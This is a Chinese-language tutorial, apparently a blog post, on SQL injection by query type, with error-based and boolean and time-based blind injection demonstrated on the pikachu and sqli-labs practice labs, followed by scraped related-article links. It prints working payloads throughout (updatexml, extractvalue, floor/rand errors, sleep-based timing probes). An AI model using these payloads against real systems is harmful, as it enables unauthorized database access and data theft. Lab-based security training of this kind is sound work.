当进行sql注入时,有很多注入会出无回显的情况,其中不回显的原因可能是sql语句查询方式的问题导致的,这个时候我们需要用到相关的报错或盲注进行后续操作,同时作为手工注入时,提前了解或预知器sqkl语句大概写法也能更好的选择对应的注入语句。

# SQL查询方式

我们可以通过以下查询方式与网站应用的关系,注入点产生的地方或应用猜测到对方的sql查询方式。

1.select查询语句

在网站应用中进行数据显示查询等操作

例如:

select * from news where id=$id

2.insert插入数据

在网站应用中进行用户注册、添加等操作

例如:

insert into news(iiiiiiiid,url,text) values(1,'xx','$t')

pikachu靶场操作:

添加注册信息:

提交抓包:

构造payload进行注入:

username=123' or(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) or '&password=123&sex=%E7%94%B7&phonenum=12345678&email=sichan&add=chengdu&submit=submit

可爆出该网站的数据库名:

或者:

username=123' or updatexml(1,concat(0x7e,(version())),0) or'&password=123&sex=%E7%94%B7&phonenum=12345678&email=sichan&add=chengdu&submit=submit

再或者:

username=123' or extractvalue(1,concat(0x7e,database())) or'&password=123&sex=%E7%94%B7&phonenum=12345678&email=sichan&add=chengdu&submit=submit

3.delete删除数据

后台管理里面删除文章删除用户等操作

例如:

delece from news where id=$id

pikachu靶场操作:

抓包:

构造payload:

/pikachu/vul/sqli/sqli_del.php?id=56+or+(select+1+from(select+count(*),concat(floor(rand(0)*2),0x7e,(database()),0x7e)x+from+information_schema.character_sets+group+by+x)a)

或者:

/pikachu/vul/sqli/sqli_del.php?id=56+or+updatexml+(1,concat(0x7e,database()),0)

或者:

/pikachu/vul/sqli/sqli_del.php?id=56+or+extractvalue(1,concat(0x7e,database()))

4.update更新数据

会员或后台中心数据同步或缓存等操作

例如:

update user set pwd='$id' where id=2 and username='admin'

pikachu靶场操作:

登录后修改个人信息,提交时抓包:

构造payload:

sex=%E7%94%B7&phonenum=12345678&add=sichuan' or(select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(database()),0x7e)x from information_schema.character_sets group by x)a) or '&email=sss.com&submit=submit

或者:

sex=%E7%94%B7&phonenum=12345678&add=sichuan' or updatexml(1,concat(0x7e,(version())),0) or'&email=sss.com&submit=submit

或者:

sex=%E7%94%B7&phonenum=12345678&add=sichuan' or extractvalue(1,concat(0x7e,user())) or'&email=sss.com&submit=submit

5.order by排序语句

一般结合表格或列名进行数据排序操作

例如:

select * from news order by $id
select id,name,price from news orer by $order

#sql注入报错盲注

盲注就是在注入过程中,获取数据不能回显至前端页面。此时,我们需要 利用一些方法进行判断或者尝试,这个方法称之为盲注。

like 'ro%'                            #判断ro或ro·····是否成立
regexp '^xx[a-z]' #匹配xx及xx····等
if(条件,5,0) #条件成立返回5,否则返回0
sleep(5) #SQL语句延时5秒后执行
mid(a,b,c) #从位置b开始,截取a字符串的c位
substr(a,b,c) #从b位置开始,截取字符串a的c长度
left(database(),1),database() #left(a,b)从左侧截取a的前b位
length(database())=8 #判断数据库database()名的长度
ord=ascii ascii(x)=97 #判断x的ascii码是否等于97

我们可以讲盲注分为以下三类:

1.基于布尔的sql盲注(逻辑判断)

regexp,like,ascii,ord,mid

sqlilabs靶场第5关演示

http://127.0.0.1/sqli-labs/Less-5/?id=1' and left(version(),1)=5 --+

猜测数据库版本的第一位为5,正确不报错

2.基于时间的sql盲注(延时判断)

if,sleep

sqlilabs靶场第2关演示

http://127.0.0.1/sqli-labs/Less-2/?id=1 and sleep(if(database()='security',5,0)) --+

提交后5秒后返回:

猜测数据库名长度:

http://127.0.0.1/sqli-labs/Less-2/?id=1 and sleep(if(length(database())=8,5,0)) --+

3.基于报错的sql盲注(报错回显)

floor,updatexml,extractvalue

演示见上面的pikachu靶场

sql注入之查询方式及报错注入的更多相关文章

  1. 十六:SQL注入之查询方式及报错盲注

    在很多注入时,有很多注入会出现无回显的情况,其中不回显的原因可能是SQL查询语句有问题,这时候我们需要用到相关的报错或者盲注进行后续操作,同时作为手工注入的时候,需要提前了解SQL语句能更好的选择对应 ...

  2. 渗透之路基础 -- SQL进阶(盲注和报错注入)

    SQL注入之盲注 实战过程中,大多情况下很少会有回显,这个时候就要去使用盲注技术 盲注,Blind SQL Injection,听这名字就感觉整个过程就是一个盲目的过程 当注入时,没有任何提示的时候, ...

  3. SQL注入--盲注及报错注入

    盲注查询 盲注其实就是没有回显,不能直观地得到结果来调整注入数据,只能通过其他方式来得到是否注入成功,主要是利用了一些数据库内置函数来达到的 布尔盲注 布尔很明显Ture跟Fales,也就是说它只会根 ...

  4. Oracle报错注入总结

    0x00 前言 在oracle注入时候出现了数据库报错信息,可以优先选择报错注入,使用报错的方式将查询数据的结果带出到错误页面中. 使用报错注入需要使用类似 1=[报错语句],1>[报错语句], ...

  5. 大哥带的Orchel数据库的报错注入

    0X01 使用报错注入需要使用类似 1=[报错语句],1>[报错语句],使用比较运算符,这样的方式进行报错注入(MYSQL仅使用函数报错即可),类似mssql报错注入的方式. news.jsp? ...

  6. updataxml报错注入

    // take the variables//接受变量 // //也就是插入post提交的uname和passwd,参见:https://www.w3school.com.cn/sql/sql_ins ...

  7. sql注入--双查询报错注入

    sql注入--双查询报错注入 背景:在sqli-labs第五关时,即使sql语句构造成功页面也没有回显出我们需要的信息,看到了有使用双查询操作造成报错的方式获得数据库信息,于是研究了一下双查询的报错原 ...

  8. sql注入--双查询报错注入原理探索

    目录 双查询报错注入原理探索 part 1 场景复现 part 2 形成原因 part 3 报错原理 part 4 探索小结 双查询报错注入原理探索 上一篇讲了双查询报错查询注入,后又参考了一些博客, ...

  9. sqli注入--利用information_schema配合双查询报错注入

    目录 sqli-labs 5.6双查询报错注入通关 0x01 获取目标库名 0x02 获取库中表的数量 0x03 获取库中表名 0x04 获取目标表中的列数 0x05 获取目标表的列名 0x06 从列 ...

随机推荐

  1. 使用VMware安装win10虚拟机

    (1)打开VMware: (2)打开左上角的文件,点击新建虚拟机: (3)选择典型,下一步: (4)选择稍后安装操作系统,下一步: (5)选择win10×64,下一步: (6)可随意修改虚拟机名称,位 ...

  2. Solution -「UOJ #87」mx 的仙人掌

    \(\mathcal{Description}\)   Link.   给出含 \(n\) 个结点 \(m\) 条边的仙人掌图.\(q\) 次询问,每次询问给出一个点集 \(S\),求 \(S\) 内 ...

  3. JAVA8学习——Stream底层的实现四(学习过程)

    Stream的深入(四) 从更高角度去看一下:类与类之间的设计关系 (借助IDEA的图形处理工具 Ctrl+Alt+U). ReferencePipeline的三个实现的子类: Head Statel ...

  4. Owin Katana 的分析介绍

    本文首要是对美团的分布式ID结构Leaf的原理进行介绍,针对Leaf原项目中的一些issue,对Leaf项目进行功用增强,问题修正及优化改善,改善后的项目地址在这里: Leaf项目改善计划 https ...

  5. 学习java知道这五个网站就够了

    "这个国家的每个人都应该学习编程计算机,因为它教你如何思考." 当乔布斯几年前这么说时,他再次被证明是一个真正的有远见的人. 好吧,这很难反驳!如今,编程比以往任何时候都更加蓬勃发 ...

  6. 记录一次有趣misc

    标题:2017_Dating_in_Singapore题目来源:XCTF 3rd-HITB CTF-2017题目描述:01081522291516170310172431-05060713202726 ...

  7. RFC2544吞吐量测试详细步骤-信而泰Renix软件操作演示

    关键词:RFC1242:RFC2544:吞吐量:吞吐率. 吞吐量概述:吞吐量即吞吐率,这个词首先在RFC1242中被提出,是评估网络设备性能的首要指标,其定义是在设备没有丢帧的情况下的最大的转发速率, ...

  8. 过分简单,Tabluea仪表板与Smartbi自助仪表盘制作流程分享

    上一章节介绍了如何接入数据到系统里面,并且对数据进行处理.那本章节与大家分享Smartbi及Tabluea是如何对数据进行仪表盘制作. ​   这就是Tabluea的工作簿界面,这也是Tabluea可 ...

  9. 十分钟掌握CSS基本内容

         (一) 定位      绝对定位和相对定位.其实用一句话说就是"子绝父相",理解这句话很多效果通过定位做出来的话都没问题了.一般平时用的都的情况都是子div设置为绝对定位 ...

  10. 阿里云 elk 搭建

    1.logstash通过redis收集日志. logstash > redis>logstash  >es k8s日志挂载 tong sudo umount -t glusterfs ...